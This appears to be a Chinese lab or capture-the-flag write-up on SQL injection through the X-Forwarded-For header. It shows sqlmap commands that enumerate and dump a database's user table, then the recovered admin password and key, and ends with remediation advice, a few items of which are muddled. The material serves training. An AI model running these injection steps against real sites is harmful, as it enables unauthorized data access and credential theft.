X-Forwarded-For注入漏洞

0x 00 环境介绍

靶机http://219.153.49.228:48033,通过注入完成找到网站的key。


1 |0 0x01复现过程

1.访问网站使用admin/admin登入,用burpsuite截包寻找注入点

>>截到的包,正常放包回显内容

>>加X-forwarded-for:1.1.1.1回显IP数据改变,可能存在注入点

2.保存post包进行sql注入

保存post包1.txt,加上X-forwarded-for:*作为注入点,在windows上使用sqlmap跑

暴库:python sqlmap.py -r 1.txt --dbs --batch

开始试了很多次,payload也换了几个了没成功,后来发现请求头和请求体没有分开。

>>修改后

a.暴数据库

python sqlmap.py -r 1.txt --dbs

b.暴数据表

python sqlmap.py -r 1.txt -D webcalendar --tables

c.暴列表

python sqlmap.py -r 1.txt -D webcalendar -T user --columns

d.暴字段

python sqlmap.py -r 1.txt -D webcalendar -T user "password" --dumps

3.使用admin/116012900登入拿到key:mozhebb8300a328e13dd2abd55c5d8dd


1 |1 0x02修复建议

(1)程序代码里的所有查询语句,使用标准化的数据库查询语句API接口,设定语句的参数进行过滤一些非法的字符,防止用户输入恶意的字符传入到数据库中执行sql语句。

(2)对用户提交的的参数安全过滤,像一些特殊的字符(,()*&......%#等等)进行字符转义操作,以及编码的安全转换。

(3)网站的代码层编码尽量统一,建议使用utf8编码,如果代码里的编码都不一样,会导致一些过滤被直接绕过。

(4)网站的数据类型,必须确定,是数字型,就是数字型,字符型就是字符型,数据库里的存储字段类型也设置为ini型。

(5)对用户的操作权限进行安全限制,普通用户只给普通权限,管理员后台的操作权限要放开,尽量减少对数据库的恶意攻击。

(6)网站的报错信息尽量不要返回给客户端,比如一些字符错误,数据库的报错信息,尽可能的防止泄露给客户端。


1 |2 0x03总结思考

  首先通过回显页面异常找到对应的注入点,将post文件保存,然后使用sqlmap跑post包,另外请求体和请求头一定要分开。

相关推荐
王码码20351 小时前
多台服务器怎么统一看状态?Beszel 轻量监控,搭起来不费事
运维·服务器·后端·安全·阿里云·接口·web
ylscode1 小时前
Anthropic Claude Oceanus意外泄露:Mythos系列AI红队测试遭遇API代理滥用危机
网络·人工智能·安全·web安全·安全威胁分析
福建佰胜张工2 小时前
MAXON 机电高压油安全切断阀技术全解
安全·自动化
Rubin智造社3 小时前
Anthropic安全白皮书2|三级成熟度模型:你的AI智能体该配哪级安全?
大数据·安全·沙箱隔离·零信任成熟度模型·三级安全框架·jit权限·不可变审计
caimouse4 小时前
Reactos 第 4 章 对象管理 — 4.5 几个常用的内核函数
c语言·windows·架构
caimouse4 小时前
Reactos 第 4 章 对象管理 — 4.3 句柄和句柄表(Handle & Handle Table)
c语言·windows·架构
Chase_______5 小时前
【Java基础 | 15】集合框架(中):Set、HashSet、TreeSet 与哈希表
java·windows·散列表
乐兮创想 小林6 小时前
企业官网的安全架构:从 HTTPS、WAF 到备份与应急响应的 7 层防御工程
安全·https·网站建设·安全架构·企业官网·北京网站建设公司
CJH(本人账号)6 小时前
【AI安全】大模型安全威胁:Prompt注入与模型防御策略
人工智能·安全·机器学习·语言模型·云计算·prompt
caimouse6 小时前
Windows NT 内核架构(主通用模型)流 NT 5.x/10+
windows·架构